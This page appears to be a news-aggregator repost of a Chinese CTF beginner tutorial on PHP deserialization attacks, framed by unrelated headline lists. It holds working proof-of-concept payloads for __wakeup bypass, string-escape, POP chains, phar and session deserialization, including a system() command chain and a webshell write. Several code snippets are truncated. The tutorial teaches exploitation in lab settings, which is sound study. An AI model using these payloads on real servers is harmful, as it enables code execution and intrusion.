最新要闻
- 天天日报丨《满江红》官方连续发文回应争议扩散:统编教材删除岳飞满江红?从未选编
- 【天天新要闻】国内还有人看吗?漫威超英大片《黑豹2》被偷跑:1080p高清版流出
- 【世界快播报】卖价6.5亿 全球订单超1035架:国产大飞机C919有望3月载客飞行
- 今热点:评分不断下跌 电影《满江红》起诉4位微博大V 复旦教授回应
- 票房超24亿 中国科幻片里程碑!郭帆回应《流浪地球3》:放心了 喜欢接着拍
- 《满江红》票房超29亿!游客排长队打秦桧雕像:大妈亮出鞋底猛抽
- 无人机革命!麻省理工学院开发出超低噪音螺旋桨
- 真着急!中国显卡厂商首次曝光RTX 4060、RTX 4050
- 当前动态:有航司开33万高薪急招空乘:送八险二金、1.5年单身公寓
- 天天新资讯:《熊出没》系列电影累计票房超50亿!观众看《深海》突遇屋顶漏水
- 女子投简历被告知不招豫籍 直呼地域歧视很不公平:网友力挺河南人
- 全球看点:神了!锐龙9 7900X反而比锐龙9 7900便宜 还送32GB内存
- 世界实时:颜值就是正义!联力积木风扇SLV2上架京东:259元一只
- 满分100!老外给《流浪地球2》打分30 情节复杂:网友称文化输出成功
- 高铁超员报警无法行驶 无票乘客下车:网友直呼头回见 12306回应合规
- 离谱!男子竟在高速上与公鸡打架!网友:“被年货打了”
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
精彩看点:PHP反序列化新手入门学习总结
最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。
php反序列化简单理解
首先我们需要理解什么是序列化,什么是反序列化?
(资料图)
PHP序列化:serialize()
序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。
而PHP反序列化:unserialize()
反序列化是将字符串转换成变量或对象的过程
通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化
说这么多不如直接一点测试一下
php序列化的字母标识
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
N - NULL
测试一下
test1; } } $a=new TEST(); echo serialize($a); //O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}
O代表类,然后后面4代表类名长度,接着双引号内是类名
然后是类中变量的个数:{类型:长度:"值";类型:长度:"值"...以此类推}
protected 和private其实是有不可打印字符的,所以这里附上截图
从图中可以看到有几个不可打印字符,关于这个还有一些特别的地方,和具体放在了后边写
有时候做题时为了防止传参中有啥意外,一般就会urlencode一下
什么是魔术方法?
做php反序列化的题总会遇到魔术方法
其实就是一种特殊方法当对对象执行某些操作时会覆盖 PHP 的默认操作
举个例子如下,这里用常见的construct和destruct魔术方法,其实就是构造函数和析构函数
a; } public function __destruct() { echo $this->a="这里是__destruct"; } } $a=new A();
//输出这里是construct这里是destruct
后边的题中也会给一些测试魔术方法的例子
想买给出魔术方法触发的情况,这对解题有很大帮助
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 对不存在的方法或者不可访问的方法进行调用就自动调用
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
光看还是了解不够,具体还得到亲自尝试才可以,下面我做了一些CTF题,在此分享给大家。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
简单的反序列化题
题目来自[SWPUCTF 2021 新生赛]ez_unserialize
admin ="user"; $this->passwd = "123456"; } public function __destruct(){ if($this->admin === "admin" && $this->passwd === "ctf"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "Just a bit more!"; } } } $p = $_GET["p"]; unserialize($p); ?>
在construct方法里admin被赋值为user,passwd被赋值为123456,而在destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"这个式子成立才能输出flag
php反序列化是可以控制类方法的属性但不能改类方法的代码
于是我们直接更改就行,
admin ="admin"; $this->passwd = "ctf"; } } $a=new wllm(); echo urlencode(serialize($a)); ?>
然后传参就行了,一般这里要url编码一下,规避不可打印字符,前面我们提到private protected 属性 序列化出来会有不可打印字符。
__wakeup绕过
这个其实是个CVE,CVE-2016-7124
影响版本php5<5.6.25,php7<7.010
简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
而魔术方法__wakeup执行unserialize()时,先会调用这个函数
写个代码本地测试一下
a="触发__construct"; } public function __wakeup() { $this->a="触发__wakeup"; } public function __destruct() { echo $this->a; } } $a=new A(); echo serialize($a);
O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下
反序列化一下,输出触发__wakeup
O:1:"A":2:{s:1:"a";s:17:"触发__construct";} 把对象个数改为2
触发__construct,绕过了wakeup
[极客大挑战 2019]PHP __wakeup()绕过
username = $username; $this->password = $password; } function __wakeup(){ $this->username = "guest"; } function __destruct(){ if ($this->password != 100) { echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; echo $this->password;echo ""; die(); } if ($this->username === "admin") { global $flag; echo $flag; }else{ echo "hello my friend~~sorry i can"t give you the flag!"; die(); } } }
看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest;
这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看
//$a=new Name("admin","100"); //echo urlencode(serialize($a)); //echo serialize($a); $b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D"; var_dump(unserialize(urldecode($b)));
那么修改对象个数为大于2
O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
得到flag
POC
username = $username; $this->password = $password; } } $a=new Name("admin","100"); echo urlencode(serialize($a)); //echo serialize($a); //O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D ?>
反序列化逃逸问题
逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞
所以会有两种情况,一种是由长变短,一种是由短变长
由长变短
自己随手写个题测试下
a=$_GET["a"]; $this->b="noflag"; $this->c=$_GET["c"]; } public function check() { if ($this->b==="123") { echo "flag{123dddd}"; } else if ($this->a==="test") { echo "give you flag"; } else { echo "no flag"; } } public function __destruct() { $this->check(); } } $a=new A(); $b=serialize($a); $c=str_replace("aa","b",$b); unserialize($c);
这里本地写一个测试简单利用下,学会这个逃逸思路即可
$b=serialize($a); echo $b; $c=str_replace("aa","b",$b); echo($c); //O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";} //O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}
这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag,
$this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉
开始构造
然后计算要吞噬掉多少位
print(len("";s:1:"b";s:6:"noflag";s:1:"c";s:3:")) print(36*"aa") //35 //aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa
a=36个aa,c=;s:1:"b";s:3:"123
这样构造出来为
O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";}bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:print(len("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:"))
刚好为72个,成功反序列化,得到flag
由短变长
题目来自ctfshowWEB262
index.phpfrom = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET["f"]; $m = $_GET["m"]; $t = $_GET["t"]; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace("fuck", "loveU", serialize($msg)); setcookie("msg",base64_encode($umsg)); echo "Your message has been sent"; }
highlight_file(FILE);
从题目注释里可以找到message.php
message.php源码
from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE["msg"])){ $msg = unserialize(base64_decode($_COOKIE["msg"])); if($msg->token=="admin"){ echo $flag; } }
很明显,要想得到flag要把token值更改为admin
但是正常反序列化,字符串个数是固定的,$umsg = str_replace("fuck", "loveU", serialize($msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下
可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了
因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化
伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位
那么需要27个fuck就行
payload
?f=1
&m=1
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路
POP链构造
做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下
[SWPUCTF 2021 新生赛]pop
题目源码
admin === "w44m" && $this->passwd ==="08067"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "nono"; } } } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } } $w00m = $_GET["w00m"]; unserialize($w00m); ?>
POP链入手,先找关键代码,然后推断
需要admin为w44m,passwd为08067 才能得到flag
if($this->admin === "w44m" && $this->passwd ==="08067"){
echo $flag;
发现可以利用$this->w00m->{$this->w22m}();
这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了
在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法
前面魔术方法提到
__toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m,
链子构造为 w22m::__destruct->w33m::toString->w44m::getflag
poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符
w00m; } } class w33m{ public $w00m=""; public $w22m="getflag"; public function __toString(){ $this->w00m->{$this->w22m}(); return 1; } } $a=new w22m(); $a->w00m=new w33m(); $a->w00m->w00m=new w44m(); echo urlencode( serialize($a)); ?>
[NISACTF 2022]babyserialize
fun=="show_me_flag"){ hint(); } } function __call($from,$val){ $this->fun=$val[0]; } public function __toString() { echo $this->fun; return " "; } public function __invoke() { checkcheck($this->txw4ever); @eval($this->txw4ever); } } class TianXiWei{ public $ext; public $x; public function __wakeup() { $this->ext->nisa($this->x); } } class Ilovetxw{ public $huang; public $su; public function __call($fun1,$arg){ $this->huang->fun=$arg[0]; } public function __toString(){ $bb = $this->su; return $bb(); } } class four{ public $a="TXW4EVER"; private $fun="abc"; public function __set($name, $value) { $this->$name=$value; if ($this->fun = "sixsixsix"){ strtolower($this->a); } } } if(isset($_GET["ser"])){ @unserialize($_GET["ser"]); }else{ highlight_file(__FILE__); } //func checkcheck($data){ // if(preg_match(......)){ // die(something wrong); // } //} //function hint(){ // echo "......."; // die(); //} ?>查看了一下提示发现什么也没有if(isset($_GET["ser"])){@unserialize($_GET["ser"]);这是头部这是尾部public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}
从__invoke()这里开始触发
__invoke() 当脚本尝试将对象调用为函数时触发
return $bb()而这里有一个函数调用
那么$bb是class Nisa的对象就会调用 __invoke
触发$bb要调用 __toString()
而__toString()是
当一个对象被当作一个字符串被调用。
找类似echo 这种代码,而这里有个strtolower
strtolower是在set方法里的
__set触发
在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
在four类的中有private $fun="abc";
Ilovetxw类中的__call方法访问了fun这个变量
function __call($from,$val){ $this->fun=$val[0]; }
而__call方法
对不存在的方法或者不可访问的方法进行调用就自动调用
TianXiWei类中的wakeup会触发call
$this->ext->nisa($this->x); nisa()这个方法并不存在
这里详细说下
ext->nisa($this->x); } } class test { public $a =""; public function __call($a,$b) { echo "call"; } } $a=new TianXiWei(); $a->ext=new test(); //echo urlencode(serialize($a)); echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;} //echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}
wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化$a和$->ext是不一样的结果
链子很清晰了
TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invokePOCext=new Ilovetxw();//触发__call $a->ext->huang=new four();//触发__set $a->ext->huang->a=new Ilovetxw();//触发__tosrting $a->ext->huang->a->su=new NISA();//触发__invoke echo urlencode(serialize($a));
相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造
phar反序列化
单的理解phar反序列化
phar是什么?
phar是php提供的一类文件的后缀名称,也是php伪协议的一种。
phar可以干什么?
将多个php文件合并成一个独立的压缩包,相对独立
不用解压到硬盘就可以运行php脚本
支持web服务器和命令行运行
注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件
phar文件的的结构
一个phar文件通常由四部分组成,
1. a stub:可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
2. a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
3. the file contents:被压缩文件的内容。这里不是重点,内容不影响
4. [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾
startBuffering(); $phar->setStub(""); //设置stub $o = new Test(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
生成一个phar.phar文件
拉进010分析
可以清楚看到一个标识符,一个序列化,一个文件名
有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下
is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_filestartBuffering(); $phar->setStub(""); $o=new Test(); $phar->setMetadata($o); $phar->addFromString("flag.txt","flag");//添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
这里用file_get_contents测试下
name); } } echo file_get_contents("phar://rce.phar/flag.txt"); ?>
漏洞利用条件
phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
姿势
compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txtphp://filter/read=convert.base64-encode/resource=phar://phar.phar
可以用于文件上传,有文件上传头限制,还可以这样,例如GIF
$phar->setStub(“GIF89a”.""); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif
[SWPUCTF 2021 新生赛]babyunser phar反序列化
查看class.php获取源码
name="aa"; } public function __destruct(){ $this->name=strtolower($this->name); } } class ff{ private $content; public $func; public function __construct(){ $this->content=""; } public function __get($key){ $this->$key->{$this->func}($_POST["cmd"]); } } class zz{ public $filename; public $content="surprise"; public function __construct($filename){ $this->filename=$filename; } public function filter(){ if(preg_match("/^/|php:|data|zip|..//i",$this->filename)){ die("这不合理"); } } public function write($var){ $filename=$this->filename; $lt=$this->filename->$var; //此功能废弃,不想写了 } public function getFile(){ $this->filter(); $contents=file_get_contents($this->filename); if(!empty($contents)){ return $contents; }else{ die("404 not found"); } } public function __toString(){ $this->{$_POST["method"]}($_POST["var"]); return $this->content; } } class xx{ public $name; public $arg; public function __construct(){ $this->name="eval"; $this->arg="phpinfo();"; } public function __call($name,$arg){ $name($arg[0]); } }getFile(); ?>
构造链子
先找到关键的代码$this->$key->{$this->func}($_POST["cmd"]);,通过这个可以构造命令执行,所以要想办法触发__get($key),
__get() 用于从不可访问的属性读取数据,ff类的 private $content;是不可访问的属性
访问content可以触发get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower这个函数之前提到,可以触发tostring,利用它去触发zz::_tostring方法,利用方法里的$this->{$POST["method"]}($_POST["var"]);去构造method=write&var=content,
aa::destruct()->zz::toString()->zz::write->xx->ff::__get()
看着好奇怪,为什么要用write去这样钩爪,因为__get()触发需要,构造write函数进行访问content成员,不仅要用这个属性去new一个对象,还要对它进行访问
如下代码进行测试
a="aaa"; $this->b="bbb"; } public function __get($name) { // TODO: Implement __get() method. $this->a="__get"; $this->b="111"; } public function __destruct() { echo $this->a; echo $this->b; } } $a =new test("s","s"); //echo $a->a; $b=serialize($a); unserialize($b);
注释掉echo 输出是aaabbbaaabbb
去掉注释输出是get111get111
如此那么构造POP链子
content=new xx();//这里New xx } } class zz{ public $filename; public $content; } class xx { public $name; public $arg; } $a=new aa(); $c=new ff(); $a->name=new zz(); $c->func="system"; $a->name->filename=$c; $phar = new Phar("flag.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub(""); //设置stub //$o = new Test(); $phar->setMetadata($a); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering();
上传之后使用phar协议读取
file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag
session反序列化
session与cookie很像,都是客户端与服务端会话时,用户的标识, PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。
而session是以文件方式存储的
直接找一道题做做
题目来自ctfshowWEB263
打开是一个登录页面,用目录扫描扫一下,这里我用的是dirsearch
dirsearch -u "http://4b00e046-35c4-458d-93e7-e3ff83049288.challenge.ctf.show/"-e*
存在源码泄露,访问www.zip,下载下来源码,关键代码
index.php源码
*/ error_reporting(0); session_start(); //超过5次禁止登陆 if(isset($_SESSION["limit"])){ $_SESSION["limti"]>5?die("登陆失败次数超过限制"):$_SESSION["limit"]=base64_decode($_COOKIE["limit"]); $_COOKIE["limit"] = base64_encode(base64_decode($_COOKIE["limit"]) +1); }else{ setcookie("limit",base64_encode("1")); $_SESSION["limit"]= 1; } ?>
check.php源码
$_GET["u"],"pass"=>$_GET["pass"]); if($GET){ $data= $db->get("admin", [ "id", "UserName0" ],[ "AND"=>[ "UserName0[=]"=>$GET["u"], "PassWord1[=]"=>$GET["pass"] //密码必须为128位大小写字母+数字+特殊符号,防止爆破 ] ]); if($data["id"]){ //登陆成功取消次数累计 $_SESSION["limit"]= 0; echo json_encode(array("success","msg"=>"欢迎您".$data["UserName0"])); }else{ //登陆失败累计次数加1 $_COOKIE["limit"] = base64_encode(base64_decode($_COOKIE["limit"])+1); echo json_encode(array("error","msg"=>"登陆失败")); } }inc.php中有一个这个ini_set("session.serialize_handler", "php");而session存储格式(序列化)其中有这两种ini_set("session.serialize_handler", "php");ini_set("session.serialize_handler", " php_serialize ");
测试一下看这两个什么区别
在tmp下找到这个文件打开看
是
user|O:5:"test1":1:{s:1:"a";s:4:"test";}
两种方式的区别主要是“|”符号,在php机制中,只会序列化“|”符号后面的内容
inc.php中关键代码
class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format("Y-m-d H:i:s")); } }function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format("Y-m-d H:i:s"));}
可以利用这个函数写一句话木马
而session_start() 函数会解析 session 文件,就相当于进行了反序列化,session值我们是可控的,这样的话反序列化有了,只要构造出序列化字符串触发 User类 的 __destruct方法就可以了
username = $username; $this->password = $password; } } $a=new User("1.php",""); echo base64_encode("|".serialize($a));
访问的时候文件名是log-拼接,所以是log-1.php,index.php里面三元条件运算符: $SESSION["limti"]>5?die("登陆失败次数超过限制"):$SESSION["limit"]=base64_decode($_COOKIE["limit")
第一个式子不成立,则执行$SESSION["limit"]=base64_decode($COOKIE["limit")
,因为有base64_decode,所以这里我们还有base64_encode一下
抓包改limit值
然后发包,接着访问check.php 实现反序列化shell的写入
然后变更请求方法,注意直接右键选择变更POST请求
tricks总结
16进制绕过字符过滤
//O:1:"A":1:{s:2:"ab";s:4:"test";} //O:1:"A":1:{S:2:"61b";s:4:"test";}//s改为大写S会被当成16进制解析 //61是a的16进制
php类名对大小写不敏感
ctfshowWEB266
username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if(preg_match("/ctfshow/", $cs)){ throw new Exception("Error $ctfshowo",1); }
很明显是触发析构函数就得到了flag,但是有过滤,如果匹配到了ctfshow就抛异常,
这题用到的知识点是PHP类名对大小写不敏感,可以清楚看到过滤并没有过滤大小写
直接这样
$cs = file_get_contents("php://input");采用php伪协议传参
直接提交POST数据就行
+号绕过
ctfshowWEB258
class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ public $user="xxxxxx"; public function getInfo(){ return $this->user; } } class backDoor{ public $code; public function getInfo(){ eval($this->code); } } $username=$_GET["username"]; $password=$_GET["password"]; if(isset($username) && isset($password)){ if(!preg_match("/[oc]:d+:/i", $_COOKIE["user"])){ $user = unserialize($_COOKIE["user"]); } $user->login($username,$password); } 可见增加了过滤,过滤例如如下o:123:、c:456:s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo()
正常反序列化肯定会有o和c这种
如果O:后面不跟数字的话就可以把这个绕过去了
这里可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的
这里把O:后面加上一个加号
class=new backDoor(); } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ public $code="phpinfo();"; public function getInfo(){ eval($this->code); } } $a=new ctfShowUser(); //echo urlencode(serialize($a)); $a=serialize($a); $a=preg_replace("/[oc]+:/i","O:+",$a); echo urlencode($a);
利用&使两值恒等
题目ctfshow web265
token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } } $ctfshow = unserialize($_GET["ctfshow"]); $ctfshow->token=md5(mt_rand()); if($ctfshow->login()){ echo $flag; }$ctfshow->login()这个成立才给flag$ctfshow->token=md5(mt_rand());但是这个是随机的
这个题考察php按地址传参
所以我们可以直接这样
password = &$this->token; } } $a=new ctfshowAdmin(); echo ( urlencode(serialize($a)));
php7.1+反序列化对类属性不敏感
题目来自[网鼎杯 2020 青龙组]AreUSerialz
process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]:
"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{"str"})) { $str = (string)$_GET["str"]; if(is_valid($str)) { $obj = unserialize($str); } }
看着很多,其实没什么东西,
关键要利用到这里
大致看了write函数或者read函数,都可以尝试利用得到flag
但是__destruct()方法 $this->content = "";会把content值为空,我们没有办法去利用这个write函数,所以看看read函数
__destruct()方法里有一个强类型比较,$this->op === "2",如果我们把op=2;不加引号,那么为int类型,则$this->op === "2"为false,这样在process()方法里,就会调用read方法
接着就是绕过 is_valid函数 ,由于有protected属性,会有不可打印字符,而不可打印字符被
is_valid函数限制住了,所以需要绕过,那么在php7.1版本以上可以直接修改属性
因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符
POC如下
payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D
更多靶场实验练习、网安学习资料,请点击这里>>
精彩看点:PHP反序列化新手入门学习总结
k8s~fluentd从kafka到elk
天天日报丨《满江红》官方连续发文回应争议扩散:统编教材删除岳飞满江红?从未选编
【天天新要闻】国内还有人看吗?漫威超英大片《黑豹2》被偷跑:1080p高清版流出
【世界快播报】卖价6.5亿 全球订单超1035架:国产大飞机C919有望3月载客飞行
今热点:评分不断下跌 电影《满江红》起诉4位微博大V 复旦教授回应
票房超24亿 中国科幻片里程碑!郭帆回应《流浪地球3》:放心了 喜欢接着拍
世界信息:博客主题 Lite
《满江红》票房超29亿!游客排长队打秦桧雕像:大妈亮出鞋底猛抽
无人机革命!麻省理工学院开发出超低噪音螺旋桨
【全球时快讯】node借助jsonwebtoken生成token以及验证token是否过期
真着急!中国显卡厂商首次曝光RTX 4060、RTX 4050
当前动态:有航司开33万高薪急招空乘:送八险二金、1.5年单身公寓
天天新资讯:《熊出没》系列电影累计票房超50亿!观众看《深海》突遇屋顶漏水
当前资讯!MySQL笔记01: MySQL入门_1.3 MySQL启动停止与登录
环球即时:手把手教你搭建mongodb分片集群
女子投简历被告知不招豫籍 直呼地域歧视很不公平:网友力挺河南人
全球看点:神了!锐龙9 7900X反而比锐龙9 7900便宜 还送32GB内存
环球新动态:【算法训练营day28】LeetCode93. 复原IP地址 LeetCode78. 子集 LeetCode90. 子集II
环球新动态:C# 闭包类对弱引用的坑
天天新资讯:DC-9
世界实时:颜值就是正义!联力积木风扇SLV2上架京东:259元一只
天天微资讯!Collection常用方法【汇总】
满分100!老外给《流浪地球2》打分30 情节复杂:网友称文化输出成功
高铁超员报警无法行驶 无票乘客下车:网友直呼头回见 12306回应合规
离谱!男子竟在高速上与公鸡打架!网友:“被年货打了”
天天实时:谷歌裁员1.2万人当天 幸存员工崩溃哭泣:有员工直呼跟永不作恶告别
世界快看:推荐这5个很牛的开源项目,程序员直呼内行
天天视点!IM通讯协议专题学习(八):金蝶随手记团队的Protobuf应用实践(原理篇)
世界热门:VS Code保存后自动格式化Vue代码
世界讯息:日系车再受质疑 因发动机缺陷:日产召回超52万辆汽车
世界速看:(笔记)运算放大器经典应用电路及工作原理
